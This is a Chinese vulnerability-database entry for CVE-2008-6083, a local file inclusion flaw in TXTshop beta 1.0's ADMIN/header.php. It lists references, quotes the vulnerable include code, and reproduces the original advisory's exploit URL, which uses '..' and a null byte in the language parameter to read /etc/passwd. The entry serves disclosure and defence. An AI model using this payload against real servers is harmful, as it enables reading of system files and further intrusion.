TXTshop 'header.php' 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116478 漏洞类型 路径遍历
发布时间 2008-10-23 更新时间 2009-02-19
CVE编号 CVE-2008-6083 CNNVD-ID CNNVD-200902-129
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6816
https://www.securityfocus.com/bid/31885
https://cxsecurity.com/issue/WLB-2008100067
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-129
|漏洞详情
TXTshopbeta1.0版本中的header.php存在目录遍历漏洞。远程攻击者可以借助语言参数中的".."(参数中包含'..'),包含和运行任意的本地文件。
|漏洞EXP
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

4.	if (!$language)$language="ch";
5.	include_once("../lib/lang.".$language.".php");



-- Exploit --

http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00

# milw0rm.com [2008-10-23]
|受影响的产品
TXTshop TXTshop 1.0b
|参考资料

来源:XF
名称:txtshop-header-file-include(46063)
链接:http://xforce.iss.net/xforce/xfdb/46063
来源:BID
名称:31885
链接:http://www.securityfocus.com/bid/31885
来源:BUGTRAQ
名称:20081023txtshop-beta1.0/LocalFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/497752/100/0/threaded
来源:MILW0RM
名称:6816
链接:http://www.milw0rm.com/exploits/6816